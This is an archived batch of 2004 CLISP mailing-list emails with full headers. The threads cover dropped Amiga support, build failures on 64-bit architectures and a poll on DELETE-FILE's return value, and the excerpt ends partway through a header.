Mon, 16 Feb 2004 09:43:35 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 16 Feb 2004 09:43:35 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kraehe@copyleft.de Subject: AW: [clisp-list] Networking? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 00:48:00 2004 X-Original-Date: Mon, 16 Feb 2004 09:43:26 +0100 Hi, Michael Koehne wonders: >> Given my Amiga background > i know this is totaly off topic, but do you know a clisp for KICK.ROM > 3.1, Kickstart version 40.63, Workbench version 34.28 ? What's wrong with the version on Aminet? I don't have v34. nor any PowerPC card, just 3.1 in both my A4000 and A2000 boxes. But there shouldn't be problems with newer releases of Kickstart or Workbench. Regards, Jorg Hohle. From kraehe@copyleft.de Mon Feb 16 06:08:49 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsjQX-0004QC-8o for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 06:08:49 -0800 Received: from mout0.freenet.de ([194.97.50.131]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AsjHb-0002y4-H3 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 05:59:35 -0800 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout0.freenet.de with asmtp (Exim 4.30) id 1AsjMx-0007Ci-CD; Mon, 16 Feb 2004 15:05:07 +0100 Received: from g5dcf.g.pppool.de ([80.185.93.207] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.30 #6) id 1AsjMx-0004G4-29; Mon, 16 Feb 2004 15:05:07 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1AsjMw-0001vA-00; Mon, 16 Feb 2004 15:05:06 +0100 From: Michael Koehne To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Amiga Message-ID: <20040216140506.GA7324@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 06:09:10 2004 X-Original-Date: Mon, 16 Feb 2004 15:05:06 +0100 Moin Hoehle, Joerg-Cyril, > Michael Koehne wonders: > >> Given my Amiga background > > i know this is totaly off topic, but do you know a clisp for KICK.ROM > > 3.1, Kickstart version 40.63, Workbench version 34.28 ? > What's wrong with the version on Aminet? perhaps only the missing Amiga prominence - I receive hundrets of dialer-site (offering to install 0190 dialers to raise my network to 1$/minute) cheating Google, when searching "amiga clisp download". I receive dozends of dead links, e.g to http://zeus.gmd.de/~hoehle/amiga.html and the only clisp I found was nearly 8 years old. So is there an actual URL for downloading an actual clisp, compiled for Amiga OS ? > I don't have v34. nor any PowerPC card, just 3.1 in both my A4000 and A2000 > boxes. But there shouldn't be problems with newer releases of Kickstart > or Workbench. I never was an Amiga guru and the A2000 of my housemate was left open and abused as a cat toylet years ago. So the only KICK.ROM and WB I have came with a game, that I'm playing bi-monthly for over a decade. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From sds@gnu.org Mon Feb 16 07:23:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Askb1-00077T-J6 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:23:43 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AskXT-0000uF-N0 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:20:03 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AskXL-0003Xw-00; Mon, 16 Feb 2004 10:19:55 -0500 To: clisp-list@lists.sourceforge.net, Michael Koehne Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040216140506.GA7324@bakunin.copyleft.de> (Michael Koehne's message of "Mon, 16 Feb 2004 15:05:06 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> <20040216140506.GA7324@bakunin.copyleft.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Koehne Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Amiga Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 07:24:08 2004 X-Original-Date: Mon, 16 Feb 2004 10:19:55 -0500 > * Michael Koehne [2004-02-16 15:05:06 +0100]: > > So is there an actual URL for downloading an actual clisp, compiled > for Amiga OS ? ==> Amiga support has been removed from the CVS recently. You should have spoken up when the issue was raised a couple of months ago... -- Sam Steingold (http://www.podval.org/~sds) running w2k A PC without Windows is like ice cream without ketchup. From werner@suse.de Mon Feb 16 07:25:28 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Askci-0007Xi-DP for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:25:28 -0800 Received: from ns.suse.de ([195.135.220.2] helo=Cantor.suse.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AskZA-00017a-C5 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:21:48 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id E27D81E5082 for ; Mon, 16 Feb 2004 16:20:20 +0100 (CET) Received: (from werner@localhost) by boole.suse.de (8.11.2/8.11.0/SuSE Linux 8.11.0-0.4) id i1GFKKY05485 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 16:20:20 +0100 From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20040216152020.GA5345@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i Organization: SuSE LINUX AG X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp broken on all 64bit and one 32bit architecture Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 07:26:07 2004 X-Original-Date: Mon, 16 Feb 2004 16:20:20 +0100 Hi, trying to buld clisp-2.32 on i386, ia64, ppc, ppc64, s390, s390x, and x86_64, I found the following architecures broken: ia64 `nilvector_type' undeclared ppc64 `avcall-powerpc64.lo' target is missed s390 compiler problem s390x `avcall-s390x.lo' target is missed x86_64 no oint_type_len defined, after using that from ia64 I run onto `nilvector_type' undeclared Is there a wy to get clisp working not only on i386 and ppc? Used gcc is 3.3.2, Linux kernel 2.6.2. Werner From will@misconception.org.uk Mon Feb 16 07:47:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AskyF-0004Gy-2J for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:47:43 -0800 Received: from cmailg1.svr.pol.co.uk ([195.92.195.171]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Askug-0004KU-Gh for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 07:44:02 -0800 Received: from modem-3636.wolf.dialup.pol.co.uk ([81.76.142.52]) by cmailg1.svr.pol.co.uk with esmtp (Exim 4.14) id 1Askud-0005aK-Le for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 15:44:00 +0000 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp broken on all 64bit and one 32bit architecture User-Agent: KMail/1.5.4 References: <20040216152020.GA5345@boole.suse.de> In-Reply-To: <20040216152020.GA5345@boole.suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402161543.40751.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 07:48:08 2004 X-Original-Date: Mon, 16 Feb 2004 15:43:40 +0000 On Monday 16 Feb 2004 3:20 pm, Dr. Werner Fink wrote: > ia64 `nilvector_type' undeclared > x86_64 no oint_type_len defined, after using > that from ia64 I run onto `nilvector_type' > undeclared These have been broken since clisp 2.32. I have looked into the problem but made no progress. Alpha is also broken due to this issue. > s390 compiler problem This builds OK for Debian. > Is there a wy to get clisp working not only on i386 and ppc? > Used gcc is 3.3.2, Linux kernel 2.6.2. The Debian builds are here: http://buildd.debian.org/build.php?arch=&pkg=clisp Currently built on: i386, powerpc, sparc, hppa, mips, mipsel, s390 Currently failing on: alpha, ia64, arm, m68k Some of those are built without FFI. arm should be quite easily fixable. From werner@suse.de Mon Feb 16 08:31:06 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsleE-00063c-24 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 08:31:06 -0800 Received: from ns.suse.de ([195.135.220.2] helo=Cantor.suse.de) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AslV9-0006kS-HC for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 08:21:43 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id CB4FB1E582D; Mon, 16 Feb 2004 17:26:17 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 223) id 7BF6C19710; Mon, 16 Feb 2004 17:22:54 +0100 (CET) From: "Dr. Werner Fink" To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp broken on all 64bit and one 32bit architecture Message-ID: <20040216162254.GA22572@wotan.suse.de> References: <20040216152020.GA5345@boole.suse.de> <200402161543.40751.will@misconception.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200402161543.40751.will@misconception.org.uk> User-Agent: Mutt/1.4i Organization: SuSE LINUX AG X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 08:32:01 2004 X-Original-Date: Mon, 16 Feb 2004 17:22:54 +0100 On Mon, Feb 16, 2004 at 03:43:40PM +0000, Will Newton wrote: > On Monday 16 Feb 2004 3:20 pm, Dr. Werner Fink wrote: > > > ia64 `nilvector_type' undeclared > > x86_64 no oint_type_len defined, after using > > that from ia64 I run onto `nilvector_type' > > undeclared > > These have been broken since clisp 2.32. I have looked into the problem but > made no progress. Alpha is also broken due to this issue. It seems that for 64bit aka TYPECODES=1 the declaration for Array_type_nilvector Array_type_snilvector and the types for that have been forgotten in src/lispbibl.d at line 4611 ff during implementation of allocate_nilvector(). For x86_64 the declaration for the full oint stuff is also missed in src/lispbibl.d at line 2487 ff. Is there something usefull around to implement nilvector_type and snilvector_type for TYPECODES=1? And clearly a developer familiar with x86_64 internals may give us a hint to extend the missed oint stuff for AMD64 (are the values for IA64 valid for AMD64)? Werner From will@misconception.org.uk Mon Feb 16 09:52:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Asmus-00009Q-0t for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 09:52:22 -0800 Received: from cmailm4.svr.pol.co.uk ([195.92.193.211]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AsmrG-0004Fb-13 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 09:48:38 -0800 Received: from modem-554.tiger.dialup.pol.co.uk ([62.136.210.42]) by cmailm4.svr.pol.co.uk with esmtp (Exim 4.14) id 1AsmrD-0001R4-2y for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 17:48:35 +0000 From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp broken on all 64bit and one 32bit architecture User-Agent: KMail/1.5.4 References: <20040216152020.GA5345@boole.suse.de> <200402161543.40751.will@misconception.org.uk> <20040216162254.GA22572@wotan.suse.de> In-Reply-To: <20040216162254.GA22572@wotan.suse.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402161748.16266.will@misconception.org.uk> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 09:53:05 2004 X-Original-Date: Mon, 16 Feb 2004 17:48:16 +0000 On Monday 16 Feb 2004 4:22 pm, Dr. Werner Fink wrote: > and the types for that have been forgotten in src/lispbibl.d at line > 4611 ff during implementation of allocate_nilvector(). > For x86_64 the declaration for the full oint stuff is also missed in > src/lispbibl.d at line 2487 ff. As I understand it, there is no space in typecodes to store the type information for nilvector, which is an optimization of a special case of vector. It should theoretically be possible, as I understand it, to remove the nilvector code entirely when building with typecodes and use the standard vector code, as was used in 2.31. Is this correct Sam? I experimented with this (using -DTYPECODES on i386) but the interpreter was aborting - it seemed it was finding a typecode it didn't recognize - but I don't know why this was, and have not investigated further. From kraehe@copyleft.de Mon Feb 16 10:25:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsnRC-0008HI-Ch for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 10:25:46 -0800 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1AsnNZ-0008Pl-PY for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 10:22:01 -0800 Received: from [194.97.55.148] (helo=mx5.freenet.de) by mout1.freenet.de with asmtp (Exim 4.30) id 1AsnNO-0002q9-8y for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 19:21:50 +0100 Received: from g4cc1.g.pppool.de ([80.185.76.193] helo=bakunin.copyleft.de) by mx5.freenet.de with esmtp (Exim 4.30 #6) id 1AsnNO-0005ix-2y for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 19:21:50 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 1AsnNQ-0002H1-00; Mon, 16 Feb 2004 19:21:52 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Message-ID: <20040216182152.GA8654@bakunin.copyleft.de> References: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> <20040216140506.GA7324@bakunin.copyleft.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Amiga Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 10:26:05 2004 X-Original-Date: Mon, 16 Feb 2004 19:21:52 +0100 Moin Sam Steingold, > ==> > > Amiga support has been removed from the CVS recently. > You should have spoken up when the issue was raised a couple of months ago... just downloading them, even if they are also 8 years old. btw: what was the latest CVS tag, where Amiga support was possible, and did someone really compile this last Amiga clisp ? Or was the Amiga branch dropped because nobody tried it for nearly 8 years ? Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.22'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From werner@suse.de Mon Feb 16 10:27:14 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AsnSc-0000Bp-76 for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 10:27:14 -0800 Received: from ns.suse.de ([195.135.220.2] helo=Cantor.suse.de) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AsnOz-0000F3-EX for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 10:23:29 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) by Cantor.suse.de (Postfix) with ESMTP id CB2E11E6186; Mon, 16 Feb 2004 19:21:14 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 223) id C02C713B23; Mon, 16 Feb 2004 19:21:14 +0100 (CET) From: "Dr. Werner Fink" To: Will Newton Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp broken on all 64bit and one 32bit architecture Message-ID: <20040216182114.GA9051@wotan.suse.de> References: <20040216152020.GA5345@boole.suse.de> <200402161543.40751.will@misconception.org.uk> <20040216162254.GA22572@wotan.suse.de> <200402161748.16266.will@misconception.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200402161748.16266.will@misconception.org.uk> User-Agent: Mutt/1.4i Organization: SuSE LINUX AG X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 10:28:01 2004 X-Original-Date: Mon, 16 Feb 2004 19:21:14 +0100 On Mon, Feb 16, 2004 at 05:48:16PM +0000, Will Newton wrote: > On Monday 16 Feb 2004 4:22 pm, Dr. Werner Fink wrote: > > > and the types for that have been forgotten in src/lispbibl.d at line > > 4611 ff during implementation of allocate_nilvector(). > > For x86_64 the declaration for the full oint stuff is also missed in > > src/lispbibl.d at line 2487 ff. > > As I understand it, there is no space in typecodes to store the type > information for nilvector, which is an optimization of a special case of > vector. It should theoretically be possible, as I understand it, to remove > the nilvector code entirely when building with typecodes and use the standard > vector code, as was used in 2.31. > > Is this correct Sam? > Hmmm ... -DNO_TYPECODES=1 for x86_64 aka AMD64 results in: ./lisp.run -B . -N locale -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" Cannot map memory to address 0x99fcd000 . errno = ENOMEM: Not enough memory. Trying to make room through a GC... [...endless loop...] btw: Why `KW' is used instead of `KB' ... besides this, the `0x%x' isn't sufficient, I suppose the `%p' for getting the full address on 64bit. If I replace `0x%x' with `%p' I get Cannot map memory to address 0x1999999999fcd000 . errno = ENOMEM: Not enough memory. Trying to make room through a GC... On the other side, a simple grep for nilvector throughout the source shows a lot of calls/references about. > I experimented with this (using -DTYPECODES on i386) but the interpreter was > aborting - it seemed it was finding a typecode it didn't recognize - but I > don't know why this was, and have not investigated further. In other words: clisp is currently not portable to 64bit architecures? Werner From sds@gnu.org Mon Feb 16 17:27:53 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Asu1h-0005KV-PO for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 17:27:53 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1Asts6-0000Nf-5k for clisp-list@lists.sourceforge.net; Mon, 16 Feb 2004 17:17:58 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1Astxs-0004qI-00; Mon, 16 Feb 2004 20:23:56 -0500 To: clisp-list@lists.sourceforge.net, Michael Koehne Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040216182152.GA8654@bakunin.copyleft.de> (Michael Koehne's message of "Mon, 16 Feb 2004 19:21:52 +0100") References: <9F8582E37B2EE5498E76392AEDDCD3FE09AADD1E@G8PQD.blf01.telekom.de> <20040216140506.GA7324@bakunin.copyleft.de> <20040216182152.GA8654@bakunin.copyleft.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Koehne Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Amiga Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 16 17:28:05 2004 X-Original-Date: Mon, 16 Feb 2004 20:23:54 -0500 > * Michael Koehne [2004-02-16 19:21:52 +0100]: > > Moin Sam Steingold, > >> ==> >> >> Amiga support has been removed from the CVS recently. >> You should have spoken up when the issue was raised a couple of months ago... > > just downloading them, even if they are also 8 years old. btw: what > was the latest CVS tag, where Amiga support was possible, and did no CVS tag, but you can look for the date in src/ChangeLog. > someone really compile this last Amiga clisp ? Or was the Amiga > branch dropped because nobody tried it for nearly 8 years ? yes, this is the case - nobody built amiga clisp for many years and it was dubious that it was still possible. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From sds@gnu.org Tue Feb 17 10:05:22 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1At9b0-0001oZ-JQ for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 10:05:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1At9QP-0001ML-Mm for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 09:54:25 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i1HI0ocs001338; Tue, 17 Feb 2004 13:00:50 -0500 (EST) To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -4.901 X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] poll: DELETE-FILE return value Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 17 10:06:02 2004 X-Original-Date: Tue, 17 Feb 2004 13:00:50 -0500 In ANSI CL, DELETE-FILE is specified to return T on success. CLISP returns the truename of the deleted file. This is not compliant, albeit it offers a nice feature. How is this to be fixed? 1. just return T and forget the truename 2. return T when *ANSI* is T and truename otherwise. (I think introducing an extra user variable for this is silly) 3. ignore the ANSI spec and keep the current behavior 4. other options? please voice your opinions here on , if you do not, my prejudice will be hoisted on you. -- Sam Steingold (http://www.podval.org/~sds) running w2k If abortion is murder, then oral sex is cannibalism. From dgou@mac.com Tue Feb 17 10:18:37 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1At9np-0004rR-2A for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 10:18:37 -0800 Received: from a17-250-248-87.apple.com ([17.250.248.87] helo=smtpout.mac.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1At9jc-00064y-Cx for clisp-list@lists.sourceforge.net; Tue, 17 Feb 2004 10:14:16 -0800 Received: from webmail18.mac.com (webmail18-en1 [10.13.10.160]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id i1HIEF7g011949 for ; Tue, 17 Feb 2004 10:14:15 -0800 (PST) Received: from webmail18 (localhost [127.0.0.1]) by 